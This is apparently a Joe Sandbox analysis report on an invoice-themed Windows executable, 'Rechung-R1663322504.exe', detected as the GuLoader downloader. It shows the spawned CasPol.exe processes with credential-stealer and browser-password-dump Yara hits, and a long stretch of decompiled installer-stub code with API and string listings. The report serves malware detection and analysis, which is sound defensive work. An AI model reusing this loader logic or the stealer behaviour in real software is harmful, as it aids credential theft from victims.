Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.52371090291.000000000690B000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 6560, Parent PID: 6340

General

Target ID:	5
Start time:	05:38:01
Start date:	18/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Rechung-R1663322504.exe
Imagebase:	0xd0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 3312, Parent PID: 6340

General

Target ID:	6
Start time:	05:38:01
Start date:	18/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Rechung-R1663322504.exe
Imagebase:	0x490000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 5220, Parent PID: 6340

General

Target ID:	7
Start time:	05:38:01
Start date:	18/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Rechung-R1663322504.exe
Imagebase:	0xcb0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: HKTL_NET_GUID_BrowserPass, Description: Detects c# red/black-team tools via typelibguid, Source: 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp, Author: Arnim Rupp (https://github.com/ruppde) Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000007.00000002.52540526737.0000000034E8C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000007.00000002.52560446262.0000000036F71000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5764, Parent PID: 5220

General

Target ID:	8
Start time:	05:38:01
Start date:	18/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee940000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: dw20.exePID: 9028, Parent PID: 5220

General

Target ID:	9
Start time:	05:38:14
Start date:	18/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
Wow64 process (32bit):	true
Commandline:	dw20.exe -x -s 2584
Imagebase:	0x10000000
File size:	36264 bytes
MD5 hash:	89106D4D0BA99F770EAFE946EA81BB65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Rechung-R1663322504.exePID: 6340, Parent PID: 4988COMMON

Execution Graph

Execution Coverage:	23.5%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	19.1%
Total number of Nodes:	1552
Total number of Limit Nodes:	43

Executed Functions

Function 00403350 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 412
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			_entry_() {
				signed int _t51;
				intOrPtr* _t56;
				WCHAR* _t60;
				char* _t63;
				void* _t66;
				void* _t68;
				int _t70;
				int _t72;
				int _t75;
				intOrPtr* _t76;
				int _t77;
				int _t79;
				void* _t103;
				signed int _t120;
				void* _t123;
				void* _t128;
				intOrPtr _t147;
				intOrPtr _t148;
				intOrPtr* _t149;
				int _t151;
				void* _t154;
				int _t155;
				signed int _t159;
				signed int _t164;
				signed int _t169;
				void* _t171;
				WCHAR* _t172;
				signed int _t175;
				signed int _t178;
				CHAR* _t179;
				void* _t182;
				int* _t184;
				void* _t192;
				char* _t193;
				void* _t196;
				void* _t197;
				void* _t243;

				_t171 = 0x20;
				_t151 = 0;
				 *(_t197 + 0x14) = 0;
				 *(_t197 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t197 + 0x1c) = 0;
				SetErrorMode(0x8001); // executed
				_t51 = GetVersion() & 0xbfffffff;
				 *0x7a8a2c = _t51;
				if(_t51 != 6) {
					_t149 = E00406639(0);
					if(_t149 != 0) {
						 *_t149(0xc00);
					}
				}
				_t179 = "UXTHEME";
				goto L4;
				L8:
				__imp__#17(_t192);
				__imp__OleInitialize(_t151); // executed
				 *0x7a8af8 = _t56;
				SHGetFileInfoW(0x79fee0, _t151, _t197 + 0x34, 0x2b4, _t151); // executed
				E0040625F("Susans", L"NSIS Error");
				_t60 = GetCommandLineW();
				_t193 = L"\"C:\\Users\\Arthur\\Desktop\\Rechung-R1663322504.exe\"";
				E0040625F(_t193, _t60);
				 *0x7a8a20 = GetModuleHandleW(_t151);
				_t63 = _t193;
				if(L"\"C:\\Users\\Arthur\\Desktop\\Rechung-R1663322504.exe\"" == 0x22) {
					_t63 =  &M007B3002;
					_t171 = 0x22;
				}
				_t155 = CharNextW(E00405B5D(_t63, _t171));
				 *(_t197 + 0x18) = _t155;
				_t66 =  *_t155;
				if(_t66 == _t151) {
					L33:
					_t172 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
					GetTempPathW(0x400, _t172);
					_t68 = E0040331F(_t155, 0);
					_t225 = _t68;
					if(_t68 != 0) {
						L36:
						DeleteFileW(L"1033"); // executed
						_t70 = E00402EC1(_t227,  *(_t197 + 0x1c)); // executed
						 *(_t197 + 0x10) = _t70;
						if(_t70 != _t151) {
							L48:
							E00403893();
							__imp__OleUninitialize();
							_t239 =  *(_t197 + 0x10) - _t151;
							if( *(_t197 + 0x10) == _t151) {
								__eflags =  *0x7a8ad4 - _t151;
								if( *0x7a8ad4 == _t151) {
									L72:
									_t72 =  *0x7a8aec;
									__eflags = _t72 - 0xffffffff;
									if(_t72 != 0xffffffff) {
										 *(_t197 + 0x10) = _t72;
									}
									ExitProcess( *(_t197 + 0x10));
								}
								_t75 = OpenProcessToken(GetCurrentProcess(), 0x28, _t197 + 0x14);
								__eflags = _t75;
								if(_t75 != 0) {
									LookupPrivilegeValueW(_t151, L"SeShutdownPrivilege", _t197 + 0x20);
									 *(_t197 + 0x34) = 1;
									 *(_t197 + 0x40) = 2;
									AdjustTokenPrivileges( *(_t197 + 0x28), _t151, _t197 + 0x24, _t151, _t151, _t151);
								}
								_t76 = E00406639(4);
								__eflags = _t76 - _t151;
								if(_t76 == _t151) {
									L70:
									_t77 = ExitWindowsEx(2, 0x80040002);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L72;
									}
									goto L71;
								} else {
									_t79 =  *_t76(_t151, _t151, _t151, 0x25, 0x80040002);
									__eflags = _t79;
									if(_t79 == 0) {
										L71:
										E0040140B(9);
										goto L72;
									}
									goto L70;
								}
							}
							E004058C1( *(_t197 + 0x10), 0x200010);
							ExitProcess(2);
						}
						if( *0x7a8a40 == _t151) {
							L47:
							 *0x7a8aec =  *0x7a8aec | 0xffffffff;
							 *(_t197 + 0x14) = E0040396D( *0x7a8aec);
							goto L48;
						}
						_t184 = E00405B5D(_t193, _t151);
						if(_t184 < _t193) {
							L44:
							_t236 = _t184 - _t193;
							 *(_t197 + 0x10) = L"Error launching installer";
							if(_t184 < _t193) {
								_t182 = E0040582C(_t239);
								lstrcatW(_t172, L"~nsu");
								if(_t182 != _t151) {
									lstrcatW(_t172, "A");
								}
								lstrcatW(_t172, L".tmp");
								_t195 = L"C:\\Users\\Arthur\\Desktop";
								if(lstrcmpiW(_t172, L"C:\\Users\\Arthur\\Desktop") != 0) {
									_push(_t172);
									if(_t182 == _t151) {
										E0040580F();
									} else {
										E00405792();
									}
									SetCurrentDirectoryW(_t172);
									_t243 = L"C:\\Users\\Arthur\\Socialdirektrer" - _t151; // 0x43
									if(_t243 == 0) {
										E0040625F(L"C:\\Users\\Arthur\\Socialdirektrer", _t195);
									}
									E0040625F(0x7a9000,  *(_t197 + 0x18));
									_t156 = "A" & 0x0000ffff;
									 *0x7a9800 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
									_t196 = 0x1a;
									do {
										E00406281(_t151, _t172, 0x79f6e0, 0x79f6e0,  *((intOrPtr*)( *0x7a8a34 + 0x120)));
										DeleteFileW(0x79f6e0);
										if( *(_t197 + 0x10) != _t151 && CopyFileW(L"C:\\Users\\Arthur\\Desktop\\Rechung-R1663322504.exe", 0x79f6e0, 1) != 0) {
											E00406025(_t156, 0x79f6e0, _t151);
											E00406281(_t151, _t172, 0x79f6e0, 0x79f6e0,  *((intOrPtr*)( *0x7a8a34 + 0x124)));
											_t103 = E00405844(0x79f6e0);
											if(_t103 != _t151) {
												CloseHandle(_t103);
												 *(_t197 + 0x10) = _t151;
											}
										}
										 *0x7a9800 =  *0x7a9800 + 1;
										_t196 = _t196 - 1;
									} while (_t196 != 0);
									E00406025(_t156, _t172, _t151);
								}
								goto L48;
							}
							 *_t184 = _t151;
							_t185 =  &(_t184[2]);
							if(E00405C38(_t236,  &(_t184[2])) == 0) {
								goto L48;
							}
							E0040625F(L"C:\\Users\\Arthur\\Socialdirektrer", _t185);
							E0040625F(L"C:\\Users\\Arthur\\Socialdirektrer", _t185);
							 *(_t197 + 0x10) = _t151;
							goto L47;
						}
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_t159 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
						_t120 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t164 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
						while( *_t184 != _t159 || _t184[1] != _t120) {
							_t184 = _t184;
							if(_t184 >= _t193) {
								continue;
							}
							break;
						}
						_t151 = 0;
						goto L44;
					}
					GetWindowsDirectoryW(_t172, 0x3fb);
					lstrcatW(_t172, L"\\Temp");
					_t123 = E0040331F(_t155, _t225);
					_t226 = _t123;
					if(_t123 != 0) {
						goto L36;
					}
					GetTempPathW(0x3fc, _t172);
					lstrcatW(_t172, L"Low");
					SetEnvironmentVariableW(L"TEMP", _t172);
					SetEnvironmentVariableW(L"TMP", _t172);
					_t128 = E0040331F(_t155, _t226);
					_t227 = _t128;
					if(_t128 == 0) {
						goto L48;
					}
					goto L36;
				} else {
					do {
						_t154 = 0x20;
						if(_t66 != _t154) {
							L13:
							if( *_t155 == 0x22) {
								_t155 = _t155 + 2;
								_t154 = 0x22;
							}
							if( *_t155 != 0x2f) {
								goto L27;
							} else {
								_t155 = _t155 + 2;
								if( *_t155 == 0x53) {
									_t148 =  *((intOrPtr*)(_t155 + 2));
									if(_t148 == 0x20 || _t148 == 0) {
										 *0x7a8ae0 = 1;
									}
								}
								asm("cdq");
								asm("cdq");
								_t169 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t175 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t169;
								if( *_t155 == (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t169) &&  *((intOrPtr*)(_t155 + 4)) == _t175) {
									_t147 =  *((intOrPtr*)(_t155 + 8));
									if(_t147 == 0x20 || _t147 == 0) {
										 *(_t197 + 0x1c) =  *(_t197 + 0x1c) | 0x00000004;
									}
								}
								asm("cdq");
								asm("cdq");
								_t164 = L" /D=" & 0x0000ffff;
								asm("cdq");
								_t178 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t164;
								if( *(_t155 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t164) ||  *_t155 != _t178) {
									goto L27;
								} else {
									 *(_t155 - 4) =  *(_t155 - 4) & 0x00000000;
									__eflags = _t155;
									E0040625F(L"C:\\Users\\Arthur\\Socialdirektrer", _t155);
									L32:
									_t151 = 0;
									goto L33;
								}
							}
						} else {
							goto L12;
						}
						do {
							L12:
							_t155 = _t155 + 2;
						} while ( *_t155 == _t154);
						goto L13;
						L27:
						_t155 = E00405B5D(_t155, _t154);
						if( *_t155 == 0x22) {
							_t155 = _t155 + 2;
						}
						_t66 =  *_t155;
					} while (_t66 != 0);
					goto L32;
				}
				L4:
				E004065C9(_t179); // executed
				_t179 =  &(_t179[lstrlenA(_t179) + 1]);
				if( *_t179 != 0) {
					goto L4;
				} else {
					E00406639(0xa);
					 *0x7a8a24 = E00406639(8);
					_t56 = E00406639(6);
					if(_t56 != _t151) {
						_t56 =  *_t56(0x1e);
						if(_t56 != 0) {
							 *0x7a8a2f =  *0x7a8a2f | 0x00000040;
						}
					}
					goto L8;
				}
			}

0x0040335b
0x0040335c
0x00403363
0x00403367
0x0040336f
0x00403373
0x0040337f
0x00403388
0x0040338d
0x00403390
0x00403397
0x0040339e
0x0040339e
0x00403397
0x004033a0
0x004033a0
0x004033e8
0x004033e9
0x004033f0
0x004033f6
0x0040340c
0x0040341c
0x00403421
0x00403427
0x0040342e
0x00403442
0x00403447
0x00403449
0x0040344d
0x00403452
0x00403452
0x00403461
0x00403463
0x00403467
0x0040346d
0x00403584
0x0040358a
0x00403595
0x00403597
0x0040359c
0x0040359e
0x004035f6
0x004035fb
0x00403605
0x0040360c
0x00403610
0x004036c1
0x004036c1
0x004036c6
0x004036cc
0x004036d1
0x004037f7
0x004037fd
0x0040387b
0x0040387b
0x00403880
0x00403883
0x00403885
0x00403885
0x0040388d
0x0040388d
0x0040380d
0x00403813
0x00403815
0x00403822
0x00403835
0x0040383d
0x00403845
0x00403845
0x0040384d
0x00403852
0x00403859
0x00403867
0x0040386a
0x00403870
0x00403872
0x00000000
0x00000000
0x00000000
0x0040385b
0x00403861
0x00403863
0x00403865
0x00403874
0x00403876
0x00000000
0x00403876
0x00000000
0x00403865
0x00403859
0x004036e0
0x004036e7
0x004036e7
0x0040361c
0x004036b1
0x004036b1
0x004036bd
0x00000000
0x004036bd
0x00403629
0x0040362d
0x0040367b
0x0040367b
0x0040367d
0x00403685
0x004036f8
0x004036fa
0x00403701
0x00403709
0x00403709
0x00403714
0x00403719
0x00403728
0x0040372c
0x0040372d
0x00403736
0x0040372f
0x0040372f
0x0040372f
0x0040373c
0x00403742
0x00403749
0x00403751
0x00403751
0x0040375f
0x0040376b
0x00403779
0x0040377e
0x00403784
0x00403790
0x00403796
0x004037a0
0x004037b6
0x004037c7
0x004037cd
0x004037d4
0x004037d7
0x004037dd
0x004037dd
0x004037d4
0x004037e1
0x004037e8
0x004037e8
0x004037ed
0x004037ed
0x00000000
0x00403728
0x00403687
0x0040368a
0x00403695
0x00000000
0x00000000
0x0040369d
0x004036a8
0x004036ad
0x00000000
0x004036ad
0x00403636
0x0040364e
0x0040365f
0x00403660
0x00403664
0x00403666
0x00403674
0x00403677
0x00000000
0x00000000
0x00000000
0x00403677
0x00403679
0x00000000
0x00403679
0x004035a6
0x004035b2
0x004035b7
0x004035bc
0x004035be
0x00000000
0x00000000
0x004035c6
0x004035ce
0x004035df
0x004035e7
0x004035e9
0x004035ee
0x004035f0
0x00000000
0x00000000
0x00000000
0x00403473
0x00403473
0x00403475
0x00403479
0x00403482
0x00403486
0x0040348b
0x0040348c
0x0040348c
0x00403491
0x00000000
0x00403497
0x00403498
0x0040349d
0x0040349f
0x004034a7
0x004034ae
0x004034ae
0x004034a7
0x004034bf
0x004034d2
0x004034d3
0x004034e8
0x004034ed
0x004034f1
0x004034fa
0x00403502
0x00403509
0x00403509
0x00403502
0x00403515
0x00403528
0x00403529
0x0040353e
0x00403544
0x00403548
0x00000000
0x0040356f
0x0040356f
0x00403574
0x0040357d
0x00403582
0x00403582
0x00000000
0x00403582
0x00403548
0x00000000
0x00000000
0x00000000
0x0040347b
0x0040347b
0x0040347c
0x0040347d
0x00000000
0x00403550
0x00403557
0x0040355d
0x00403560
0x00403560
0x00403561
0x00403564
0x00000000
0x0040356d
0x004033a5
0x004033a6
0x004033b2
0x004033b9
0x00000000
0x004033bb
0x004033bd
0x004033cb
0x004033d0
0x004033d7
0x004033db
0x004033df
0x004033e1
0x004033e1
0x004033df
0x00000000
0x004033d7

APIs

SetErrorMode.KERNELBASE ref: 00403373
GetVersion.KERNEL32 ref: 00403379
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033AC
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 004033E9
OleInitialize.OLE32(00000000), ref: 004033F0
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 0040340C
GetCommandLineW.KERNEL32(Susans,NSIS Error,?,00000006,00000008,0000000A), ref: 00403421
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\Rechung-R1663322504.exe",00000000,?,00000006,00000008,0000000A), ref: 00403434
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Rechung-R1663322504.exe",00000020,?,00000006,00000008,0000000A), ref: 0040345B

Part of subcall function 00406639: GetModuleHandleA.KERNEL32(?,00000020,?,004033C2,0000000A), ref: 0040664B
Part of subcall function 00406639: GetProcAddress.KERNEL32(00000000,?), ref: 00406666

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403595
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035A6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004035B2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035C6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004035CE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035DF
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035E7
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 004035FB

Part of subcall function 0040625F: lstrcpynW.KERNEL32(?,?,00000400,00403421,Susans,NSIS Error,?,00000006,00000008,0000000A), ref: 0040626C

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036C6
ExitProcess.KERNEL32 ref: 004036E7
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 004036FA
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 00403709
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403714
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\Rechung-R1663322504.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403720
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373C
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,00000008,?,00000006,00000008,0000000A), ref: 00403796
CopyFileW.KERNEL32(C:\Users\user\Desktop\Rechung-R1663322504.exe,0079F6E0,00000001,?,00000006,00000008,0000000A), ref: 004037AA
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,00000006,00000008,0000000A), ref: 004037D7
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403806
OpenProcessToken.ADVAPI32(00000000), ref: 0040380D
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403822
AdjustTokenPrivileges.ADVAPI32 ref: 00403845
ExitWindowsEx.USER32(00000002,80040002), ref: 0040386A
ExitProcess.KERNEL32 ref: 0040388D

Strings

C:\Users\user\Socialdirektrer, xrefs: 004036A3
Error launching installer, xrefs: 0040367D
C:\Users\user\Desktop\Rechung-R1663322504.exe, xrefs: 004037A5
C:\Users\user\Socialdirektrer, xrefs: 00403578, 00403698, 00403742, 0040374C
SeShutdownPrivilege, xrefs: 0040381C
.tmp, xrefs: 0040370E
Low, xrefs: 004035C8
~nsu, xrefs: 004036F2
"C:\Users\user\Desktop\Rechung-R1663322504.exe", xrefs: 00403427, 0040342D, 00403623
\Temp, xrefs: 004035AC
UXTHEME, xrefs: 004033A0, 004033A5, 004033AB
C:\Users\user\Desktop, xrefs: 00403719, 0040371E, 0040374B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040358A, 0040358F, 004035A5, 004035B1, 004035C0, 004035CD, 004035D9, 004035E1, 004036F7, 00403708, 00403713, 0040371F, 0040372C, 0040373B, 004037EC
1033, xrefs: 004035F6
Susans, xrefs: 00403417
TEMP, xrefs: 004035DA
NSIS Error, xrefs: 00403412
TMP, xrefs: 004035E2

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\Rechung-R1663322504.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Rechung-R1663322504.exe$C:\Users\user\Socialdirektrer$C:\Users\user\Socialdirektrer$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$Susans$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-3707771432
Opcode ID: 9d094df354a64ac00225b874e1f21de582985ea5e934b42c4bdb5f03e135a873
Instruction ID: f8b53dcf82f20274bbdd851e6e7f34b77cfd1224ece1df9e86175f3a8edd883a
Opcode Fuzzy Hash: 9d094df354a64ac00225b874e1f21de582985ea5e934b42c4bdb5f03e135a873
Instruction Fuzzy Hash: CED11371500310AAD7207F759D85B3B3AACEB41746F00493FF981B62E2DB7D8A458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405402 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00405402(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				int _t101;
				long _t104;
				void* _t108;
				intOrPtr _t119;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x7a7a04; // 0x1042a
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E00405396, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						CloseHandle(_t127); // executed
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							__eflags = _a12 - _t94;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							__eflags = _t95 - _t156;
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E00406281(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							_t101 = TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156);
							__eflags = _t101 - _t171;
							if(_t101 == _t171) {
								_v60 = _t156;
								_v48 = 0x7a1f20;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t104 = SendMessageW(_v8, 0x1073, _a4,  &_v68);
									__eflags = _a4 - _t156;
									_t171 = _t171 + _t104 + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
									__eflags = _t156 - _a8;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x7a79ec - _t156; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x7a8a28, 8);
							__eflags =  *0x7a8acc - _t156;
							if( *0x7a8acc == _t156) {
								_t119 =  *0x7a0ef8; // 0xa5b304
								_t57 = _t119 + 0x34; // 0xffffffd6
								E004052C3( *_t57, _t156);
							}
							E004041CD(_t171);
							goto L25;
						}
						 *0x7a06f0 = 2;
						E004041CD(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E0040425B(_a8, _a12, _a16);
						}
						ShowWindow( *0x7a79f0, _t156);
						ShowWindow(_t169, 8);
						E00404229(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x7a8a34;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x7a79f0 = GetDlgItem(_a4, 0x403);
				 *0x7a79e8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x7a7a04 = _t134;
				_v8 = _t134;
				E00404229( *0x7a79f0);
				 *0x7a79f4 = E00404B60(4);
				 *0x7a7a0c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
